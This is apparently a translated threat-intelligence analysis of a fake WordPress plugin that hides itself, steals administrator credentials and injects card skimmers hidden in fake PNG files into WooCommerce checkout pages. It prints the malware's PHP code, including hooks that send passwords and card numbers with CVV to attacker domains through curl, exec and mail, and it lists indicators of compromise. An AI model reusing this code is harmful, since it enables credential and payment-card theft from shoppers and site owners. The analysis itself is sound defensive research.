Группа анализа угроз Wordfence обнаружила сложную вредоносную кампанию, нацеленную на сайты электронной коммерции под управлением WordPress, использующие плагин WooCommerce. Зловредное ПО демонстрирует продвинутые возможности, включая пользовательские методы шифрования, поддельные изображения для сокрытия вредоносных нагрузок и устойчивый механизм персистентности, позволяющий злоумышленникам развертывать дополнительный код по требованию. Вся эта функциональность упакована в поддельный плагин WordPress.
Описание
Обнаруженный образец вредоносного ПО был передан исследователям 21 августа 2025 года. С 27 августа по 9 сентября были разработаны и выпущены четыре сигнатуры обнаружения, которые немедленно получили платные пользователи Wordfence Premium, Care, Response и CLI. Пользователи бесплатных версий получили эти же сигнатуры после стандартной 30-дневной задержки.
Многоуровневая архитектура атаки начинается с плагина, который маскирует свое присутствие в системе WordPress. При активации он скрывает свою запись из списка плагинов и отслеживает IP-адреса и время последнего входа всех пользователей с правами редактирования записей. Эта информация сохраняется в пользовательской опции базы данных и сопровождается установкой отслеживающей куки, которая обеспечивает постоянную идентификацию пользователя даже после изменения сессии или удаления куки.
Особую опасность представляет двухэтапный процесс эксфильтрации учетных данных. Вредоносная программа перехватывает логины и пароли при вводе пользователем с помощью фильтра wp_authenticate_user, временно сохраняя их в куки, а затем передает злоумышленникам при фактическом входе в систему через действие wp_login. В запрос включаются базовые данные пользователя и веб-сайта.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | add_filter("wp_authenticate_user", "fn_intercept_credentials", 10, 2); function fn_intercept_credentials($user_obj, $password) { if (is_wp_error($user_obj)) { return $user_obj; } $creds_cookie = "wp_tdata"; $_COOKIE[$creds_cookie] = base64_encode($password); return $user_obj; } add_action("wp_login", "exfiltrate_credentials", 10, 2); function exfiltrate_credentials($user_login, $user_obj) { $exfil_server = "hxxps://badping.info/SMILODON/index_b.php?view="; $creds_cookie = "wp_tdata"; if (!isset($_COOKIE[$creds_cookie])) return; $request_uri = $_SERVER["REQUEST_URI"]; $user_data = base64_encode($user_login.";" . base64_decode($_COOKIE[$creds_cookie])); $curl_data = base64_encode($_SERVER["HTTP_HOST"] . ";" . $request_uri . ";" . $user_data . ";127.0.0.1"); $curl_data = str_replace("+", "%2b", $curl_data); if (function_exists("curl_init")) { $curl_opts = array( // [...] ); $curl_request = curl_init($exfil_server . $curl_data); curl_setopt_array($curl_request, $curl_opts); @curl_exec($curl_request); } } |
Бэкдор-доступ реализован через две отдельные AJAX-конечные точки, обе использующие куки-аутентификацию, обходящую встроенную систему аутентификации WordPress. Первый канал позволяет злоумышленнику обновлять JavaScript-нагрузку кардингового скиммера двумя способами: установкой куки на конкретный URL для загрузки или передачей сырой нагрузки через POST-запрос. Второй канал позволяет выполнять произвольный PHP-код через временный файл.
После установки вредоносное ПО незаметно отслеживает страницы оформления заказа WooCommerce с помощью функции is_checkout(). При подготовке такой страницы в сгенерированную страницу внедряются несколько различных JavaScript-нагрузок. Эти нагрузки хранятся внутри поддельных PNG-изображений для избежания обнаружения. Файлы поддельных изображений имеют случайно сгенерированные имена и переменные размеры для каждой установки. Каждый файл начинается с поддельного PNG-заголовка, за которым следует обращенный JavaScript-код, закодированный с использованием пользовательской вариации base64.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | $dynamic_payload_file = __DIR__ . "/assets/images/ehybosa.png"; $custom_payload_file = __DIR__ . "/assets/images/kheqatug.png"; $fallback_payload_file = __DIR__ . "/assets/images/bufici.png"; $logged_in_cookie = "pxcelPage_c01002"; $delay = 86400; if (isset($_COOKIE[$logged_in_cookie])) return; if (file_exists($custom_payload_file)) { $custom_content = file_get_contents($custom_payload_file); if (!empty($custom_content)) { $custom_content = mb_substr($custom_content, 4); $decoded = fn_decode_payload($custom_content); if ($decoded !== false) { echo "<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3E%22%20.%20%24decoded%20.%20%22%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object mce-object-script" width="20" height="20" alt="<script>" />"; } } } // similar dynamic and fallback payloads inclusion |
Используются три различных файла поддельных изображений: пользовательская нагрузка, созданная через AJAX-бэкдор; динамическая нагрузка с основной логикой перехвата форм, обновляемая ежедневно; и резервная нагрузка со статической резервной копией той же логики. Такая многоуровневая архитектура отказоустойчивости позволяет злоумышленнику доставлять несколько нагрузок одновременно - от пользовательских дополнений, адаптированных под сайт жертвы, до самой последней версии, включая локальное резервное копирование для дополнительной безопасности.
Нагрузка кардингового скиммера представляет собой высокообфусцированный файл, содержащий как код скимминга, так и вспомогательные функции. Он включает такие функции, как трехсекундный таймаут при загрузке страницы перед активацией скиммера - предназначенный для предотвращения конфликтов с AJAX-формами оформления заказа - или поддельную систему проверки кредитных карт, которая активируется при вводе данных карты, чтобы повысить доверие пользователя к обманной форме оформления заказа.
После активации к формам оформления заказа присоединяются прослушиватели событий JavaScript для перехвата данных карты. Когда пользователь отправляет форму оформления заказа, перехваченные данные отправляются обратно на ту же страницу WordPress через AJAX POST-запрос. PHP-код предназначен для перехвата POST-запроса от формы оформления заказа, затем подготовки и эксфильтрации данных злоумышленнику.
Для обеспечения стабильности в различных серверных средах вредоносное ПО использует разнообразные методы сетевых запросов. Оно начинается со стандартной попытки на основе cURL, за которой следует другой запрос с использованием функции file_get_contents PHP. Затем оно пытается использовать cURL через системную оболочку, и в качестве окончательной резервной меры отправляет обычное электронное письмо.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | if (isset($_POST["payment"])) { // Regex patterns to match various credit card field names $field_patterns = array( "/.*statistics_key.*/" => 1, "/.*cc_num.*/" => 1, "/.*control_settings.*/" => 1, "/.*settings_key.*/" => 2, "/.*cc_exp_m.*/" => 2, "/.*exp_month.*/" => 2, "/.*settings_value.*/" => 3, "/.*cc_exp_y.*/" => 3, "/.*exp_year.*/" => 3, "/.*savage_set.*/" => 4, "/.*cc_cid.*/" => 4, "/.*stone_set.*/" => 4 ); // Extract values from POST data $card_number = $exp_month = $exp_year = $cvv = ""; foreach ($field_patterns as $pattern => $field_type) { foreach ($_POST["payment"] as $field_name => $field_value) { if (preg_match($pattern, $field_name)) { switch ($field_type) { case 1: $card_number = $field_value; break; case 2: $exp_month = $field_value; break; case 3: $exp_year = $field_value; break; case 4: $cvv = $field_value; break; } } } } if ($card_number) { // Prepare stolen data $stolen_data = $card_number . "|" . $exp_month . "/" . $exp_year . "|" . $cvv; if (isset($_COOKIE["_wdata"])) { $stolen_data .= "|" . base64_decode($_COOKIE["_wdata"]); } $encoded_data = base64_encode(str_rot13( $stolen_data . "\r\n*" . $_SERVER["HTTP_HOST"] . "*")); $encoded_data = str_replace("+", "%2b", $encoded_data); // Exfiltration: native cURL first, fallbacks to file_get_contents and system cURL $exfil_url = "hxxps://geterror.info/SMILODON/index.php?view=" . $encoded_data; $result = curl_exec(curl_init($exfil_url)); if ($result != "1") { file_get_contents($exfil_url); } if (($result != "1") && (function_exists("exec"))) { @exec("curl --insecure " . $exfil_url); } // Email backup exfiltration mail("to.duraku@rambler[.]ru", "bb_".$_SERVER["HTTP_HOST"], $stolen_data); } } |
Имеющиеся свидетельства предполагают, что строка SMILODON, найденная в двух URL-адресах C&C-серверов, связана с угрозой Magecart Group 12. Эта связь наблюдается с 2021 года и дополнительно подтверждается стилем кодирования и логикой, представленной в этом анализе, которые соответствуют известным характеристикам группы. Среди прочего, провайдер электронной почты соответствует тем, которые ранее ассоциировались с этой угрозой, в то время как два домена размещены на IP-адресе 121.127.33[.]229 вместе с другими доменами, связанными с прошлыми фишинговыми операциями и операциями скимминга этой группы.
Обнаруженная вредоносная кампания демонстрирует высокий уровень технической изощренности и представляет серьезную угрозу для онлайн-бизнесов и их клиентов. Способность избегать обнаружения, отслеживать администраторов, эксфильтрировать учетные данные и развертывать динамические кардинговые скиммеры через AJAX-бэкдоры требует повышенного внимания к безопасности веб-сайтов. Владельцам интернет-магазинов рекомендуется регулярно обновлять системы безопасности, проводить аудит установленных плагинов и использовать многоуровневые подходы к защите для противодействия подобным угрозам.
Индикаторы компрометации
IPv4
- 121.127.33.229
URLs
- https://badping.info/SMILODON/index_b.php?view=
- https://checkerror.info/wp/widget_bad64.txt
- https://geterror.info/SMILODON/index.php?view=
Emails
- to.duraku@rambler.ru
